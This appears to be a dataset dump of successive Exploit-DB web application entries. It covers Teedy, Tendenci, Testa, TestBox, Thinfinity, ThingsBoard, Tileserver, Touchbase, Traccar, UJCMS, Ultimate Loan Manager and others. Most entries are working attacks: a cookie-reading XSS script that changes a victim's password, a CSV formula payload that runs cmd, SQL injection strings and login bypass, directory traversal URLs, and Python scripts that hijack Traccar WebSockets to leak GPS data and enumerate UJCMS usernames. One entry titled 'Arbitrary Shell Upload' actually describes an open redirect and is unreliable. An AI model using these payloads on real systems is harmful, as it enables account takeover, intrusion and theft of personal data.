deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52228
Description: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2025-04-16
Author: Ayato Shitomi @ Fore-Z co.ltd

Exploit:
# Exploit Title: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)
# Exploit Author: Ayato Shitomi @ Fore-Z co.ltd
# Demo Video: https://www.youtube.com/watch?v=udQgVogsmhA
# Vendor Homepage: https://teedy.io/
# Software Link: https://github.com/Tomblib0/Teedy
# Version: 1.11
# Tested on: Linux
# CVE : CVE-2024-46278

There is a vulnerability that causes XSS when downloading files.
XSS vulnerability could allow a Teedy administrator to rob an account with a few clicks.


Login as an attacker’s account.
Upload this file as html type. You have to change “Origin” and “Referer” and argument for fetch in need.

```
<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: '[CREDENTIAL_REDACTED]=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>
```

Login with another account. eg. admin
Click on the file uploaded by the attacker and select Download this file.
Exploit-DB #49145
Description: Tendenci 12.3.1 - CSV/ Formula Injection
Type: webapps
Platform: multiple
Date: 2020-12-01
Author: Mufaddal Masalawala

Exploit:
#Exploit Title: Tendenci 12.3.1 - CSV/ Formula Injection
#Date: 2020-10-29
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://www.tendenci.com/
#Software Link: https://github.com/tendenci/tendenci
#Version: 12.3.1
#Payload:  =10+20+cmd|' /C calc'!A0
#Tested on: Kali Linux 2020.3
#Proof Of Concept:
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
Contact Us feature in Tendenci v12.3.1 via message field that is mistreated
while exporting to a CSV file.
To exploit this vulnerability:

   1. Go to contact us page and enter the payload "=10+20+cmd|' /C
   calc'!A0" in the message field and submit the form
   2. Login to the application and go to Forms section and export the
   contact us form entries
   3. Click on Export and save the CSV file downloaded
   4. Open the CSV file, allow all popups and our payload is executed
   (calculator is opened).
Exploit-DB #49194
Description: Testa Online Test Management System 3.4.7 - 'q' SQL Injection
Type: webapps
Platform: multiple
Date: 2020-12-04
Author: Ultra Security Team

Exploit:
# Exploit Title: Testa Online Test Management System 3.4.7 - 'q' SQL Injection
# Date: 2020-07-21
# Google Dork: N/A
# Exploit Author: Ultra Security Team
# Team Members: Ashkan Moghaddas , AmirMohammad Safari , Behzad Khalifeh , Milad Ranjbar
# Vendor Homepage: https://testa.cc
# Version: v3.4.7 
# Tested on: Windows/Linux
# CVE: N/A

.:: Description ::.
Testa Helps You To make Online Exams.

.:: Proof Of Concept (PoC) ::.
Step 1 - Find Your Target Using Testa - Online Test Management System.
Step 2 - Click on List And Search Exams.
Step 3 - Inject Your Payloads in Search Field.

.:: Sample Request ::.
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Cyberfox/52.9.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: localhost
Cookie: PHPSESSID=7eg4b3fl6vm8a11kmkh4pkq290; testa_user2=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

p=1&q=-1' UNION ALL SELECT 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 #
Exploit-DB #49078
Description: TestBox CFML Test Framework 4.1.0 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2020-11-19
Author: Darren King

Exploit:
# Title: TestBox CFML Test Framework 4.1.0 - Directory Traversal
# Author: Darren King
# Date: 2020-07-23
# Vendor Homepage: https://www.ortussolutions.com/products/testbox
# Software Link: https://www.ortussolutions.com/parent/download/testbox?version=3.1.0
# Version : 2.3.0 through to 4.1.0
# Tested on: Adobe ColdFusion 11, Adobe ColdFusion 2016, Adobe ColdFusion 2018, Coldbox-6.0.0-snapshot [2020-07-23] / Lucee 5.3.6.61 

About TestBox
------------------------
TestBox is an open source testing framework for ColdFusion (CFML). It is written and maintained by Ortus Solutions, and can be
downloaded/installed as a stand-alone package as well as being distributed as part of Ortus' ColdBox CFML MVC framework (https://www.coldbox.org/).

TestBox is normally deployed in directories "/testbox" (or "/test") under the root of the corresponding ColdFusion/ColdBox application, 
and allows users to run CFML unit tests and to generate reports.

https://www.ortussolutions.com/products/testbox
https://github.com/Ortus-Solutions/testbox

As per the vendor, TestBox is meant for development & testing purposes only and should not be deployed to production environments.

Directory Traversal
------------------------
The TestBox "test-browser" page does not adequately sanitise the "path" QueryString parameter, allowing an attacker
to perform a directory traversal on the page by specifying the value "path=/../" (appending '../' all the way up to the
system root).

Sample URL:
http://<HOST>/testbox/test-browser/index.cfm?path=/../

Versions Affected
------------------------
Versions affected (and platform tested on):
  - Testbox-4.1.0[PII_REDACTED]72329 (Adobe ColdFusion 2018, Adobe ColdFusion 2016, Coldbox-6.0.0-snapshot [2020-07-23] / Lucee 5.3.6.61)
  - Testbox-3.1.0[PII_REDACTED]72036 (Adobe ColdFusion 2018, Adobe ColdFusion 2016, Adobe ColdFusion 11)
  - Testbox-3.0.0[PII_REDACTED]40706 (Adobe ColdFusion 2018, Adobe ColdFusion 2016, Adobe ColdFusion 11)
  - Testbox-2.5.0[PII_REDACTED]71812 (Adobe ColdFusion 2018, Adobe ColdFusion 2016, Adobe ColdFusion 11)
  - Testbox-2.4.0+80[PII_REDACTED]44  (Adobe ColdFusion 2018, Adobe ColdFusion 2016, Adobe ColdFusion 11)
  
Timeline
------------------------
2020-07-23 - Reserved CVEs
2020-08-04 - Disclosed issues to vendor
2020-08-04 - Response from vendor - not an issue. TestBox is a testing framework and is not meant to be deployed in production.
Exploit-DB #50771
Description: Thinfinity VirtualUI  2.5.26.2 - Information Disclosure
Type: webapps
Platform: multiple
Date: 2022-02-21
Author: Daniel Morales

Exploit:
Exploit Title: Thinfinity VirtualUI  2.5.26.2 - Information Disclosure
Date: 18/01/2022
Exploit Author: Daniel Morales
Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>
Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>
Version vulnerable: Thinfinity VirtualUI < v2.5.26.2
Tested on: Microsoft Windows
CVE: CVE-2021-46354

How it works
External service interaction arises when it is possible to induce an application to interact with an arbitrary external service. The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN).

Payload
An example of the HTTP request "https://example.com/cmd <https://example.com/cmd>?
cmd=connect&wscompression=true&destAddr=domain.com <http://domain.com/>
&scraper=fmx&screenWidth=1918&screenHeight=934&fitmode=0&argumentsp=&orientation=0&browserWidth=191
8&browserHeight=872&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supp
ortsFullScreen=true&webapp=false” 

Where "domain.com <http://domain.com/>" is the external endpoint to be requested.

Vulnerable versions
It has been tested in VirtualUI version 2.1.28.0, 2.1.32.1 and 2.5.26.2

References
https://github.com/cybelesoft/virtualui/issues/3 <https://github.com/cybelesoft/virtualui/issues/3>
https://www.tenable.com/cve/CVE-2021-46354 <https://www.tenable.com/cve/CVE-2021-46354>
https://twitter.com/danielmofer <https://twitter.com/danielmofer>
Exploit-DB #50770
Description: Thinfinity VirtualUI 2.5.41.0  - IFRAME Injection
Type: webapps
Platform: multiple
Date: 2022-02-21
Author: Daniel Morales

Exploit:
Exploit Title: Thinfinity VirtualUI 2.5.41.0  - IFRAME Injection
Date: 16/12/2021
Exploit Author: Daniel Morales
Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>
Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>
Version: Thinfinity VirtualUI < v3.0
Tested on: Microsoft Windows
CVE: CVE-2021-45092

How it works
By accessing the following payload (URL) an attacker could iframe any external website (of course, only external endpoints that allows being iframed).

Payload
The vulnerable vector is "https://example.com/lab.html?vpath=//wikipedia.com <https://example.com/lab.html?vpath=//wikipedia.com> " where "vpath=//" is the pointer to the external site to be iframed.

Vulnerable versions
It has been tested in VirtualUI version 2.1.37.2, 2.1.42.2, 2.5.0.0, 2.5.36.1, 2.5.36.2 and 2.5.41.0.

References
https://github.com/cybelesoft/virtualui/issues/2 <https://github.com/cybelesoft/virtualui/issues/2>
https://www.tenable.com/cve/CVE-2021-45092 <https://www.tenable.com/cve/CVE-2021-45092>
https://twitter.com/danielmofer <https://twitter.com/danielmofer>
Exploit-DB #51004
Description: ThingsBoard 3.3.1 'description' - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2022-08-09
Author: Steffen Langenfeld

Exploit:
# Exploit Title: ThingsBoard 3.3.1 'description' - Stored Cross-Site Scripting (XSS)
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# Tested on: [relevant os]
# CVE : CVE-2021-42751
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the description of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the description e.g <script>alert('XSS')</script>
3. Save the node
4. Upon hovering above the node within the editor the payload is executed
Exploit-DB #51003
Description: ThingsBoard 3.3.1 'name' - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2022-08-09
Author: Steffen Langenfeld

Exploit:
# Exploit Title:  ThingsBoard 3.3.1 'name' - Stored Cross-Site Scripting (XSS)
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# CVE : CVE-2021-42750
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the name of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the name e.g <script>alert('XSS')</script>
3. Save the node
4. Upon hovering above the node within the editor the payload is executed
Exploit-DB #49771
Description: Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-04-15
Author: Akash Chathoth

Exploit:
# Exploit Title: Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS)
# Date: 15/04/2021
# Exploit Author: Akash Chathoth
# Vendor Homepage: http://tileserver.org/
# Software Link: https://github.com/maptiler/tileserver-gl
# Version: versions <3.1.0
# Tested on: 2.6.0
# CVE: 2020-15500

Exploit : http://example.com/?key="><script>alert(document.domain)</script>
Exploit-DB #49040
Description: Touchbase.io 1.10 - Stored Cross Site Scripting
Type: webapps
Platform: multiple
Date: 2020-11-13
Author: Simran Sankhala

Exploit:
#Exploit Title: Touchbase.io 1.10 - Stored Cross Site Scripting
#Date: 2020-11-11
#Exploit Author: Simran Sankhala
#Vendor Homepage: https://touchbase.ai/
#Software Link: https://touchbase.ai/
#Version: 1.1.0
#Tested on: Windows 10
#Proof Of Concept:
touchbase.ai application allows stored XSS, via the 'Add User' module,
that is rendered upon 'Contacts' page visit.
To exploit this vulnerability:
Steps to Reproduce:

1. Login to the application, goto 'Contacts' module and add the user
2. Inject the payload = <marquee onstart=alert(document.cookie)> in the
'Name' field
3. Fill the other details, and save the details.
4. Go to the 'Contacts' module again, and we can see that our entered
XSS Script is executed in the name field and the pop-up appears with the
session cookie details.
Exploit-DB #52433
Description: Tourism Management System 2.0 - Arbitrary Shell Upload
Type: webapps
Platform: multiple
Date: 2025-09-16
Author: Debug Security

Exploit:
# Exploit Title: Tourism Management System 2.0 - Arbitrary Shell Upload
# Date: 2025-10-09
# Exploit Author: Debug Security
# Vendor Homepage: https://kodcloud.com/
# Software Link: https://github.com/sohamjuhin/Tourism-Management-System
# Version: v2.0
# Tested on: Windows 11, PHP 8.2.4, Apache 2.4.56
# CVE: CVE-2025-57642
# Reference: https://github.com/debug-security/CVE/tree/main/CVE-2025-57642


*Description:*A Shell Upload vulnerability in Tourism Management System 2.0
could allow an attacker to upload and execute malicious shell scripts on
the server. This can lead to unauthorized access or control over the
system, compromising sensitive data and functionality.

*Version: *2.0

*Steps to Reproduce:*
1. At first visit this url http://target.com/index.php?user/login&link=.
2. Then use any malicious url in link parameter.
3. your link will be look like:
http://target.com/index.php?user/login&link=https://{site}.com
4. login your account and you will redirect to malicious url.
Exploit-DB #52545
Description: Traccar GPS Tracking System 6.11.1 - Cross-Site WebSocket Hijacking (CSWSH)
Type: webapps
Platform: multiple
Date: 2026-05-04
Author: hazar

Exploit:
# Exploit Title: Traccar GPS Tracking System 6.11.1 - Cross-Site WebSocket Hijacking (CSWSH)
# Date: 2026-02-26
# Exploit Author: Hazar Taspinar
# Vendor Homepage: https://www.traccar.org/
# Software Link: https://github.com/traccar/traccar
# Version: <= 6.11.1
# Tested on: Windows 11 / Linux
# CVE: CVE-2025-68930

"""
Description:
Traccar fails to validate the 'Origin' header in WebSocket connections (/api/socket). 
An attacker can bypass the Same Origin Policy (SOP) by supplying a malicious Origin header 
along with a victim's valid JSESSIONID. This allows the attacker to hijack the 
WebSocket connection and leak real-time sensitive data, including GPS coordinates 
and device status.

Requirements:
pip install websocket-client
"""

import websocket
import argparse
import sys

def on_message(ws, message):
    print(f"[+] DATA LEAKED: {message}")

def on_error(ws, error):
    print(f"[-] Error: {error}")

def on_close(ws, close_status_code, close_msg):
    print("[-] Connection closed.")

def on_open(ws):
    print("[*] WebSocket Handshake Successful!")
    print("[*] Connection upgraded. Streaming real-time sensitive data...\n")

def main():
    parser = argparse.ArgumentParser(description="Traccar CSWSH Exploit - Information Disclosure")
    parser.add_argument("--target", required=True, help="Target IP address (e.g., 192.168.1.5)")
    parser.add_argument("--port", default="8082", help="Target Port (default: 8082)")
    parser.add_argument("--cookie", required=True, help="Valid JSESSIONID (e.g., node0xxxxxxx)")
    
    args = parser.parse_args()

    # Construct the WebSocket URL
    url = f"ws://{args.target}:{args.port}/api/socket"
    
    # Malicious headers triggering the bypass
    # The 'Origin' header is set to an external domain to demonstrate lack of validation.
    headers = [
        "Origin: http://hacker.com",
        f"Cookie: JSESSIONID={args.cookie}"
    ]

    print(f"""
    ================================================
    TRACCAR GPS TRACKER - CSWSH EXPLOIT
    Exploit Author: Hazar Taspinar
    CVE: CVE-2025-68930
    Target: {url}
    ================================================
    """)

    # Initiate WebSocket connection
    ws = websocket.WebSocketApp(url,
                                on_message=on_message,
                                on_error=on_error,
                                on_close=on_close,
                                on_open=on_open,
                                header=headers)
    
    try:
        ws.run_forever()
    except KeyboardInterrupt:
        print("\n[*] Exploit stopped by user.")
        sys.exit(0)

if __name__ == "__main__":
    main()
Exploit-DB #52264
Description: UJCMS 9.6.3 - User Enumeration via IDOR
Type: webapps
Platform: multiple
Date: 2025-04-18
Author: Cyd Tseng

Exploit:
# Exploit Title: UJCMS 9.6.3 User Enumeration via IDOR
# Exploit Author: Cyd Tseng
# Date: 11 Dec 2024
# Category: Web application
# Vendor Homepage: https://dromara.org/
# Software Link: https://github.com/dromara/ujcms
# Version: UJCMS 9.6.3
# Tested on: Linux
# CVE: CVE-2024-12483
# Advisory: https://github.com/cydtseng/Vulnerability-Research/blob/main/ujcms/IDOR-UsernameEnumeration.md

"""

An Insecure Direct Object Reference (IDOR) vulnerability was discovered in UJCMS version 9.6.3 that allows unauthenticated enumeration of usernames through the manipulation of the user id parameter in the /users/id endpoint. While the user IDs are generally large numbers (e.g.,[PII_REDACTED]0885761), with the exception of the admin and anonymous account, unauthenticated attackers can still systematically discover usernames of existing accounts.

"""


import requests
from bs4 import BeautifulSoup
import time
import re

BASE_URL = 'http://localhost:8080/users/{}' # Modify as necessary!
HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Connection': 'keep-alive'
}

def fetch_user_data(user_id):
    url = BASE_URL.format(user_id)
    try:
        response = requests.get(url, headers=HEADERS)
        if response.status_code == 200:
            soup = BeautifulSoup(response.content, 'html.parser')
            title = soup.title.string.strip()
            if title.lower() != '404':
                username = re.sub(r' - UJCMS演示站$', '', title)
                return user_id, username
        return None
    except requests.RequestException as e:
        print(f"Error fetching data for user ID {user_id}: {e}")
        return None

def user_id_generator(start, end):
    for user_id in range(start, end + 1):
        yield user_id

def enumerate_users(start_id, end_id):
    for user_id in user_id_generator(start_id, end_id):
        user_data = fetch_user_data(user_id)
        if user_data:
            print(f"Valid user found: ID {user_data[0]} with username '{user_data[1]}'")
        time.sleep(0.1)

if __name__ == '__main__':
    start_id = int(input("Enter the starting user ID: "))
    end_id = int(input("Enter the ending user ID: "))
    print(f"Starting enumeration from ID {start_id} to {end_id}...")
    enumerate_users(start_id, end_id)
Exploit-DB #47198
Description: Ultimate Loan Manager 2.0 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2019-08-01
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title:Web Studio Ultimate Loan Manager V2.0 - Persistent Cross Site Scripting
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: http://www.webstudio.co.zw/
# Software Link: https://codecanyon.net/item/ultimate-loan-manager/19891884
# Version: V2.0
# Category: Webapps
# Software Description : Ultimate Loan Manager is an online loam management system that allows lending businesses to manage their borrowers, loans, repayments, and collections with ease while being affordable at the same time.
# CVE : CVE-2019-14427
==================================================================

#Description:XSS exists in WEB STUDIO Ultimate Loan Manager 2.0 by adding a branch under the Branches button that sets the notes parameter with crafted JavaScript code.



POST /branch/store HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target/branch/create
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: XSRF-TOKEN=eyJpdiI6Imk3Y3llMlBkM0xOUHJNQ1NqYjg2dGc9PSIsInZhbHVlIjoiTmkxMlBlYnVTaHJYR0NZWWxNNEFrSE9PQ3UyUlA5OUg0eU1XUGoxWGR1UUJQbWk2KzRQVVhRTUhEMzBTWkVDMCIsIm1hYyI6Ijk0MGQxN2VhNGQzZDBhZjI4YTg4M2VkODE0NTVhNDFjNmM4MDEwM2U1NGQyOTM3N2FhZDZjMjdjNTUxYjE5ZDMifQ%3D%3D; laravel_session=U1GDgNLtFJQDdPa2jK8rb1vjWE6mkZ6XwrH0PxE7
Connection: close
Upgrade-Insecure-Requests: 1

_token=P31Y1Y1VoVj1yaN3lpSQfssubgRXYszMUpilyYSu&name=test&notes=%3cscript%3ealert(1)%3c%2fscript%3e
Exploit-DB #49150
Description: Under Construction Page with CPanel 1.0 - SQL injection
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Mayur Parmar

Exploit:
# Exploit Title: Under Construction Page with CPanel 1.0 - SQL injection
# Date: 17-11-2020
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage: http://egavilanmedia.com
# Software Link : http://egavilanmedia.com/under-construction-page-with-cpanel/
# Version: 1.0
# Tested on: PopOS

SQL Injection:
SQL injection is a web security vulnerability that allows an attacker
to alter the SQL queries made to the database. This can be used to
retrieve some sensitive information, like database structure, tables,
columns, and their underlying data.

Attack Vector:
An attacker can gain admin panel access using malicious sql injection queries.

Steps to reproduce:
1. Open admin login page using following URl:
-> http://localhost/Under%20Construction/admin/login.php

2. Now put below Payload in both the fields( User ID & Password)
Payload: admin' or '1'='1

3. Server accepted our payload and we bypassed cpanel without any
credentials